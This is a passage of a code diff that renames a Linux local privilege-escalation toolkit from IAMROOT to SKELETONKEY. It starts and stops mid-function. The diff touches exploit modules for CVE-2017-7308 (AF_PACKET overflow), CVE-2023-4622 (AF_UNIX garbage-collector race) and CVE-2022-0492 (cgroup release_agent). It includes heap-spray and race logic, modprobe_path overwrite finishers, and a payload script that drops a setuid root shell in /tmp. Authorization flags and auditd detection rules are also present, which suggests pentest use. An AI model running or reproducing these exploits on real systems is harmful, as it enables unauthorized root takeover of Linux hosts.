iamroot_result_t pre = af_packet_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = af_packet_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -721,7 +721,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||
@@ -729,15 +729,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* extend known_offsets[] for new distro builds. */
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
struct af_packet_offsets off;
|
||||
if (!resolve_offsets(&off, &v)) {
|
||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||
v.release);
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_packet: using offsets [%s] "
|
||||
@@ -753,15 +753,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* offset resolver can't find modprobe_path or (b) the trigger
|
||||
* is rejected (silent backport). */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets koff;
|
||||
struct skeletonkey_kernel_offsets koff;
|
||||
memset(&koff, 0, sizeof koff);
|
||||
(void)iamroot_offsets_resolve(&koff);
|
||||
if (!iamroot_offsets_have_modprobe_path(&koff)) {
|
||||
iamroot_finisher_print_offset_help("af_packet");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
(void)skeletonkey_offsets_resolve(&koff);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
|
||||
skeletonkey_finisher_print_offset_help("af_packet");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
iamroot_offsets_print(&koff);
|
||||
skeletonkey_offsets_print(&koff);
|
||||
}
|
||||
struct afp_arb_ctx arb_ctx = {
|
||||
.ctx = ctx,
|
||||
@@ -769,7 +769,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
.outer_uid = outer_uid,
|
||||
.outer_gid = outer_gid,
|
||||
};
|
||||
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
|
||||
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
|
||||
&arb_ctx, !ctx->no_shell);
|
||||
}
|
||||
|
||||
@@ -779,7 +779,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* — the kernel will clean up sockets on child exit. */
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
@@ -800,7 +800,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
/* WIN — one of our task_struct-spray children became uid 0.
|
||||
* Signal parent via exit code; parent will not exec sh from
|
||||
* this child (its address space is corrupted-ish). The win
|
||||
* is symbolic at the iamroot level: we proved the primitive
|
||||
* is symbolic at the skeletonkey level: we proved the primitive
|
||||
* lands AND the cred-overwrite walk completes. */
|
||||
_exit(0);
|
||||
}
|
||||
@@ -815,9 +815,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_packet: child died abnormally "
|
||||
"(signal=%d) — primitive likely fired but crashed\n",
|
||||
WTERMSIG(status));
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
|
||||
"for slab-out-of-bounds evidence\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int code = WEXITSTATUS(status);
|
||||
@@ -831,29 +831,29 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* that targets OUR cred specifically (rather than spray-and-
|
||||
* pray), we can't promote ourselves. Report PARTIAL win.
|
||||
*
|
||||
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
|
||||
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
|
||||
* empirically confirmed root in this process. We didn't. */
|
||||
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
|
||||
"but THIS process is still uid %d\n", geteuid());
|
||||
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
|
||||
"did not acquire root. The primitive demonstrably works.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
case 4:
|
||||
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
|
||||
"kernel has silent backport (detect was version-only)\n");
|
||||
return IAMROOT_OK; /* effectively patched */
|
||||
return SKELETONKEY_OK; /* effectively patched */
|
||||
|
||||
case 5:
|
||||
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
|
||||
"acquired root within the timeout window\n");
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
|
||||
"for evidence the OOB write occurred\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
default:
|
||||
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
@@ -861,10 +861,10 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
static const char af_packet_auditd[] =
|
||||
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||
|
||||
const struct iamroot_module af_packet_module = {
|
||||
const struct skeletonkey_module af_packet_module = {
|
||||
.name = "af_packet",
|
||||
.cve = "CVE-2017-7308",
|
||||
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
|
||||
@@ -880,7 +880,7 @@ const struct iamroot_module af_packet_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_af_packet(void)
|
||||
void skeletonkey_register_af_packet(void)
|
||||
{
|
||||
iamroot_register(&af_packet_module);
|
||||
skeletonkey_register(&af_packet_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
|
||||
#define AF_PACKET_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_packet_module;
|
||||
|
||||
#endif
|
||||
@@ -18,7 +18,7 @@ Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
|
||||
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
|
||||
5.15.130 / 6.1.51 / 6.5.0.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
**Widest deployment of any module in the corpus** — bug present
|
||||
in every Linux kernel below the fix (back to ~2.0 era).
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
|
||||
#define AF_UNIX_GC_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_unix_gc_module;
|
||||
|
||||
#endif
|
||||
+46
-46
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — IAMROOT module
|
||||
* af_unix_gc_cve_2023_4622 — SKELETONKEY module
|
||||
*
|
||||
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
|
||||
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
|
||||
@@ -55,7 +55,7 @@
|
||||
* carries the widest version range of any module we ship.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -127,12 +127,12 @@ static bool can_create_af_unix(void)
|
||||
return true;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* No lower bound: this bug has been in the AF_UNIX GC path since
|
||||
@@ -144,7 +144,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
|
||||
@@ -153,7 +153,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
|
||||
"exotic seccomp/sandbox, bug unreachable here\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -163,7 +163,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
" creatable). The race window is microseconds wide and\n"
|
||||
" needs thousands of iterations to win on average.\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Race-driver state ------------------------------------------- */
|
||||
@@ -376,7 +376,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x55; /* 'U' — unix */
|
||||
memset(p.buf, 0x55, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMROOTU", 8);
|
||||
memcpy(p.buf, "SKELETONKEYU", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
|
||||
@@ -537,40 +537,40 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
|
||||
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-call detect() and short-circuit. */
|
||||
iamroot_result_t pre = af_unix_gc_detect(ctx);
|
||||
if (pre == IAMROOT_OK) {
|
||||
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
|
||||
* modprobe_path is unresolvable we refuse here rather than running
|
||||
* a 30 s race that has no finisher to call. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("af_unix_gc");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("af_unix_gc");
|
||||
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
|
||||
" a small fraction per run — see module header.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
|
||||
" to %d s. RELIABILITY remains race-dependent on a real\n"
|
||||
@@ -588,7 +588,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
|
||||
@@ -635,7 +635,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
uint64_t a_errs = atomic_load(&g_thread_a_errs);
|
||||
|
||||
/* 4. Empirical witness breadcrumb. */
|
||||
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"af_unix_gc race harness (CVE-2023-4622):\n"
|
||||
@@ -684,18 +684,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
.n_queues = AFUG_SPRAY_QUEUES,
|
||||
.arb_calls = 0,
|
||||
};
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
af_unix_gc_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
||||
fr, arb_ctx.arb_calls);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_kmalloc_512(queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
_exit(35); /* finisher ran, no land */
|
||||
}
|
||||
|
||||
@@ -729,7 +729,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
/* PARENT */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
|
||||
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
@@ -738,26 +738,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
"(consistent with UAF firing under KASAN)\n", sig);
|
||||
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
|
||||
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
|
||||
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
|
||||
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
|
||||
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
|
||||
|
||||
if (rc == 34) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (race won + write landed)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (rc == 35) {
|
||||
if (!ctx->json) {
|
||||
@@ -765,11 +765,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" win + land within budget (expected outcome on most\n"
|
||||
" runs — race wins are a fraction of a percent).\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc != 30) {
|
||||
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -778,39 +778,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" implemented (per-kernel offsets; see module .c TODO\n"
|
||||
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
#ifdef __linux__
|
||||
return af_unix_gc_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
|
||||
}
|
||||
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
/* Race threads + msg queues live inside the now-exited child;
|
||||
* nothing else to drain. */
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
@@ -821,11 +821,11 @@ static const char af_unix_gc_auditd[] =
|
||||
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
|
||||
"# benign — flag the *frequency* by correlating these keys with a\n"
|
||||
"# subsequent KASAN message in dmesg.\n"
|
||||
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n";
|
||||
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||
|
||||
const struct iamroot_module af_unix_gc_module = {
|
||||
const struct skeletonkey_module af_unix_gc_module = {
|
||||
.name = "af_unix_gc",
|
||||
.cve = "CVE-2023-4622",
|
||||
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
|
||||
@@ -841,7 +841,7 @@ const struct iamroot_module af_unix_gc_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_af_unix_gc(void)
|
||||
void skeletonkey_register_af_unix_gc(void)
|
||||
{
|
||||
iamroot_register(&af_unix_gc_module);
|
||||
skeletonkey_register(&af_unix_gc_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_unix_gc_module;
|
||||
|
||||
#endif
|
||||
@@ -16,7 +16,7 @@ Original writeup:
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
**Universal structural exploit — no per-kernel offsets, no race.**
|
||||
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
+41
-41
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module
|
||||
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module
|
||||
*
|
||||
* cgroup v1 release_agent file is checked only for "is the writer
|
||||
* root in the cgroup namespace" — NOT "is the writer root in the
|
||||
@@ -36,7 +36,7 @@
|
||||
* exposure even if all the fancy heap-spray bugs are patched.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -84,12 +84,12 @@ static int can_unshare_userns_mount(void)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
||||
@@ -97,7 +97,7 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
@@ -112,13 +112,13 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
|
||||
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
|
||||
static const char PAYLOAD_SHELL[] =
|
||||
"#!/bin/sh\n"
|
||||
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/iamroot-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
|
||||
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/skeletonkey-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
|
||||
|
||||
static bool write_file(const char *path, const char *content)
|
||||
{
|
||||
@@ -147,23 +147,23 @@ static bool write_file(const char *path, const char *content)
|
||||
return ok;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Drop the setuid-root-shell payload to a path we can read+exec
|
||||
* later. Payload runs as host root when the cgroup is released. */
|
||||
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
|
||||
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
|
||||
if (!write_file(payload_path, PAYLOAD_SHELL)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
